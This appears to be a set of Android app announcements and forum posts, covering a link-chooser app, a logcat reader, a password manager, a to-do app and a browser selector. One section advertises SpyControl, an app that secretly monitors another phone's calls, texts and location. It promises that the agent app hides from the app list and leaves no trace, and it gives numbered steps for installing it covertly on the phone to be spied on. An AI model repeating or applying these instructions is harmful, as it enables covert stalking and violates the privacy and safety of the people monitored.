LinkSheet restores the url-app-chooser that was removed in Android 12+ in favor of verified app links.
Soure code on Github
Downloads on Github or IzzyOnDroid
Features:
Set preferred browser: Always list all browsers, only list native apps, always list selected browser, only list whitelisted browsers
Preferred app for host: Set app to always open for selected host
List apps which have verified links so you can easily disable them to allow LinkSheet to work
Include usage stats and "last app used history" in sorting algorithm
Copy url button in bottom sheet which copies the current url to the clipboard
Share To button in bottom sheet which sends a "Share To" intent to other apps
Single tap: Only require a single tap in bottom sheet to open app
Always show package name: Shows package names all throughout the application
Disable toast: Disables all toast messages
Display apps in grid instead of list
Resolve redirects either locally or via API hosted @ supabase.com (Supabase Privacy policy), API itself does not log anything except timestamp
Experimental: ClearURLs integration (removes tracking parameters)
Experimental: FastFoward rule integration (extracts redirects from url parameters)
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SpyControl serves to monitor Phone Calls, SMS and location of one or more Android terminals.
The sender sends the information to our central server, where the data is stored and encrypted,
and later be retrieved by this Application.
This application is useful to know what your children do and where they are, find the location in case of theft or loss, and among others.
To obtain such data is required to install the application "InfoActivity" on the phone who wants to get the data, available at this URL: http://diegoyarza.com/info
This application leaves no trace, is not in the application list, so just follow these instructions:
1) Install the application on the Android terminal which wants to spy
2) Put the widget on the desktop and press it
3) When pressed the terminal ID appears to be copied
4) Then add the ID copied to your SpyControl to start watching all their data.
5) Remove the widget
The service will start automatically when the terminal restarts.
No subscription, no additional cost.
Simple, intuitive and easy to use.
SpyControl consists of four tabs:
- Spy: User list
- SMS: Sms from the selected user*
- Phone Calls: Phone calls from the selected user*
- Maps: Map (from Google) with the selected user position**
* Only the last 100 records show.
** Use GPS or network data, as available.
Refund up to five days.
Google Play Link:
https://play.google.com/store/apps/details?id=com.diegoyarza.spycontrol
QR:
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Official website: http://www.diegoyarza.com/?p=35
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MatLog: Material LogCat Reader, based on Nolan Lawson's CatLog
Screenshots:
Download:
GitHub Link
Google+ Community
*Requires root*
Features (description shamefull/lessy taken from CatLog):
- Color-coded tag names
- Easy-to-read column display
- Real-time search
- Recording mode (with widget)
- Save & open from SD card
- Send logs as email or attachment
- Auto-scrolls when at the bottom of the screen
- Search autosuggestions & saved filters
- Select parts of logs
- Open-source and ad-free
- Material goodness
Version 1.0.0 stable was just released!
Currently it's just material-ized CatLog, but I'll be adding new features and re-writing some of the old deprecated code, so subscribe to this thread to get updates.
nice-looking app..
why is there an additional "Full Network Access" permission which is not present in the CatLog app?
iamelton said:
nice-looking app..
why is there an additional "Full Network Access" permission which is not present in the CatLog app?
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The "Full Network Access" permission is used to report crashes of the app using Crashlytics. The source is all open - I'm not doing anything sneaky
Hello and Thank you for this very useful tool!
Will you please consider making the search persistent?
This way whenever the app is restarted it will come back to the same last search it used, if there was any, last time.
Most convenient, don't you think?
Having an option for a Regular Expression search may be nice as well.
Good luck!
Keep up this nice project!
Great app, @plusCubed!
I noticed that the MatLog folder is not accessible on the computer from the phone. Just as a feature request, could you add a save location selector in the "Save As" menu?
Regardless, I love the app and use it all the time. Thank you!
-oz
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GeniPass is a deterministic password manager that uses child key derivation cryptography to securely derive your passwords at runtime. What does this mean? It means GeniPass uses math to "load" (calculate) your passwords rather than store them in a database or on some server. Go to the second post to see the changelog and download the apk or download from the Play Store.
It works by deriving large random number from each other until it uses one of the random numbers to look up words in a dictionary, creating your password (for why see here.) If you're interested in more technical info in this cryptosystem see the readme. This app can also be used to test the strength of the passwords you already use. It will give you a rough estimation of how long it'll take someone to brute force the password.
Your passwords will be available across all devices running this app without needing to sync any data with some server. You don't need to worry about me stealing your passwords or uploading them to a server because I don't have a server and GeniPass can't open any network connections (it doesn't have the right permissions).
Screen shots are available at the bottom of this post.
GeniPass is open source! The source code is available here.
GeniPass is "Pending Publication" in the Play Store but the link will be here soon, in the mean time you can download the apk from the second post.
As a rule of thumb this app only with on devices with +1 GB of RAM, if it runs on a device with less than that please let me know.
Download latest apk.
SHA-256: 436770f0a4b70f61247c4c02ce86242ca5f94b75200400b95ebe1ef22483feda
Known Issues:
Let me know
Changelog:
v 1.0: Initial release
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Hello XDA! This is my very first app; one I conceived while I was trying to keep track of which episode of which TV show I was on. Please give it a shot and let me know what you think, thanks!
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ThingsToDo is a specialty to-do-list app made for tasks that are more complex than the usual "check and remove"
Free Version Google PlayStore Link
This app features task-tracking for:
1. Progress-based tasks
Examples: TV show tracking, book chapters read
2. Regular checklist tasks
3. Grouped tasks that can be done in any order with repetition
Examples: grocery lists, weekly chores
Usage Details:
- Tap any of the three task icons on the top menu bar to open their task lists.
- Tap the top-right 'add' icon to create and save new tasks.
Note: you must be under the appropriate task-type to create/save a new task of that type
- Tap and hold task text/progress bars to open options menus
- Tap the yellow settings icon at the top to see sorting options
- For more detailed usage descriptions please visit:
https://andrewwarnerli.wordpress.com/2016/10/22/thingstodo/
Version 1.1
- Fixed a bug which made the app require Marshmallow+. 4.3+ should be fine now.
Give ThingsToDo a try and let me know what you guys think!
appSelector - Apps on Google Play
Select automatically for each mime-type or website the browser to open a URL
play.google.com
Android allows you to select a default app for specific activity. The implementation is pretty broad, and limited too depending on the OEM version of the software.
But if you want to customise this behaviour further, there is a nifty app called appSelector that allows you to choose the browser or app to use for a specific site. It allows granular control over the Default browser feature of Android.
This is also useful if the browser you use doesn't support the 'Open in App' feature:
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As you can see in the screenshot above, if I open a Play Store link in my Firefox browser, I have the option to choose whether to open that link in the corresponding Android app. Some browsers, however, don't provide this option. This app comes in handy in such cases too. Just set up the site in this app.
Next time you need to open a site in its app, simply use the share menu in the browser and choose appSelector:
The link will now automatically open in the right app/ browser that you want it to.
That's it.
You'll find more such unique apps here:
Unique Apps for Android
In this post, I will include some unique apps I have found that do not have competing alternatives (or let's say, I haven't found anything close enough to compete). 1. FolderSync 2. appSelector 3. Photo Tools 4. Hermit I will keep updating this...
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